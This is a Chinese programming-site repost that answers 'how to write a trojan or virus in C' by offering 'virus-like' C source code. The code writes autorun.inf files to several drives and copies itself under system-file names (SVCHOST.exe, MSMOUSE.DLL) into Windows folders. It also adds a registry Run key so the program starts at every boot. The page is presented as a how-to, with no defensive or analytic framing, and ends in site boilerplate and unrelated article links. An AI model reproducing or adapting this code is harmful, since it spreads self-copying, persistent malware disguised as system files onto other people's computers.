c语言编木马程序,肿么用C语言编写木马.病毒等程序

c语言编木马程序,肿么用C语言编写木马.病毒等程序嘿嘿给你个类病毒C程序源码,看下方法吧#defineSVCHOST_NUM6#include#includechar*autorun={“[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshel…

大家好,又见面了,我是你们的朋友全栈君。

嘿嘿给你个类病毒C程序源码,看下方法吧 #define SVCHOST_NUM 6

#include

#include

char *autorun={“[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe”};

char *files_autorun[10]={“c:\\autorun.inf”,”d:\\autorun.inf”,”e:\\autorun.inf”};

char *files_svchost[SVCHOST_NUM+1]={“c:\\windows\\system\\MSMOUSE.DLL”,

“c:\\windows\\system\\SVCHOST.exe”,”c:\\windows\\SVCHOST.exe”,

“c:\\SVCHOST.exe”,”d:\\SVCHOST.exe”,”e:\\SVCHOST.exe”,”SVCHOST.exe”};

char *regadd=”reg add \”HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\” /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f”;

int copy(char *infile,char *outfile)

{

FILE *input,*output;

char temp;

if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,”rb”))!=NULL) && ((output=fopen

(outfile,”wb”))!=NULL))

{

while(!feof(input))

{

fread(&temp,1,1,input);

fwrite(&temp,1,1,output);

}

fclose(input);

fclose(output);

return 0;

}

else return 1;

}

int main(void)

{

FILE *input,*output;

int i,k;

for(i=0;i<3;i++)

{

output=fopen(files_autorun[i],”w”);

fprintf(output,”%s”,autorun);

fclose(output);

}

for(i=0;i<=SVCHOST_NUM;i++)

{

if((input=fopen(files_svchost[i],”rb”))!=NULL)

{

fclose(input);

for(k=0;k

{

copy(files_svchost[i],files_svchost[k]);

}

i=SVCHOST_NUM+1;

}

}

system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */

return 0;

}

取消

评论

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/150683.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • SpringMvc工作流程图讲解

    SpringMvc工作流程图讲解SpringMvc工作流程图讲解这是博主根据很多书籍自己总结的一个过程,可能会有错误,敬请指出,共同学习

    2022年5月2日
    41
  • w3c标准 – Dom

    w3c标准 – Domw3c标准-Dom1.DOM(1)DOM:W3C的标准,定义了访问HTML和XML文档的标准。 (2)分类     a.核心DOM-针对任何结构化文档的标准模型.     b.XMLDOM-针对XML文档的标准模型(XMLDOM定义了所有XML元素的对象和属性,以及访问它们的方法)

    2025年12月3日
    3
  • 用ccproxy + stunnel做个加密代理「建议收藏」

    用ccproxy + stunnel做个加密代理「建议收藏」https://www.stunnel.org/downloads.htmlccproxy+stunnel做个加密http代理和socks5代理目前国内用户无法访问某些国外网站,如http://

    2022年7月3日
    59
  • 2020年保密在线考试答案_2022保密教育线上培训考试30题

    2020年保密在线考试答案_2022保密教育线上培训考试30题2022年度保密教育线上培训考试参考答案选择题根据工作需要,指定定密责任人可以是本机关、本单位内设机构负责人;根据刑法第398条规定,国家机关工作人员违反保守国家秘密法的规定,故意或者过失泄露国家秘密,情节严重的,处三年以下有期徒刑或者拘役;机密级国家秘密是重要的国家秘密,泄露会使国家安全和利益遭受严重的损害;涉密人员使用普通手机,正确的做法是:不在通信中涉及国家秘密、不在手机上存储、处理、传输涉及国家秘密的信息、不在涉密公务活动中开启和使用位置服务功能;泄露军事设施秘密,或者为境外的机构、组

    2022年9月22日
    4
  • docker(12)使用Dockerfile创建jenkins+python3+pytest环境「建议收藏」

    docker(12)使用Dockerfile创建jenkins+python3+pytest环境「建议收藏」前言之前我们用docker手动安装了jenkins环境,在jenkins中又安装了python3环境和各种安装包,如果我们想要在其他3台机器上安装,又是重复操作,重复劳动,那会显得很low,这里可以

    2022年7月30日
    8
  • C++stl库_c++库

    C++stl库_c++库熟练使用STL标准库是每个C++程序员的必备技能。C++标准程序库发展至今,几乎所有内容都被设计为了模板的形式,STL已经成为C++程序库的重要组成部分。可以这么说,如果C++不支持STL标准模板库,就无法使用程序库。在大多数人看来,计算机既神秘有能干,但在程序员的眼中,计算机又蠢又笨,唯一的优点就是运算速度比人快,不给指令什么都干不了,就是给指令,计算机也不能灵活运用。比如说,在C++中,同样一个加法,不同的数据类型,要给出不同的运行代码:#include<iostrea

    2022年10月9日
    3

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号